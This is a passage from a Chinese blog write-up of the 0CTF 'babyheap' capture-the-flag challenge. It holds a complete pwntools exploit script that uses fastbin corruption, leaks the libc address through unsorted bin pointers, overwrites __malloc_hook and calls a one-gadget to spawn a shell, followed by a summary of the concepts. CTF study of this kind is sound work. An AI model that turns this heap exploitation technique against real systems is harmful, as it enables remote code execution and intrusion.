0x7ffff7dd1be0 <main_arena+192>:    0x00007ffff7dd1bc8    0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>:    0x00007ffff7dd1bd8    0x00007ffff7dd1be8
pwndbg> 

当下次执行malloc后,检测到__malloc_hook不为0,将会指向它指向的函数。

 

5、通过再一次的的malloc来触发

alloc(255)

 

 0x05:exp

exp来自:https://bbs.pediy.com/thread-223461.htm

#!/usr/bin/env python
 
from pwn import *
import sys
 
context.log_level = "debug"
 
elf = "./0ctfbabyheap"
ENV = {"LD_PRELOAD":"./libc.so.6"}
 
p = process(elf)
 
def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
 
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
 
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
 
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()
 
 
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
 
free(1)
free(2)
 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
 
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
 
alloc(0x10)
alloc(0x10)
 
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
 
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
 
alloc(0x60)
free(4)
 
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
 
alloc(0x60)
alloc(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
 
alloc(255)
 
p.interactive()

 

 

 

 

0x06:知识点总结

需要有堆溢出

fastbin 单链表 FILO

fastchunk分配有检查,大小与index要匹配

small chunk被释放后,fd和bk指针指向unsorted bin的表头,这个地址在libc中,相对偏移固定,可利用泄漏fd中的内容来算出libc被加载的地址。

__malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc()时,首先判断 hook函数指针是否为空,不为空则调用它。

one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过执行该gadget来获得 shell。

 

posted @ 2018-07-25 16:03  ha2  阅读(1283)  评论(0编辑  收藏  举报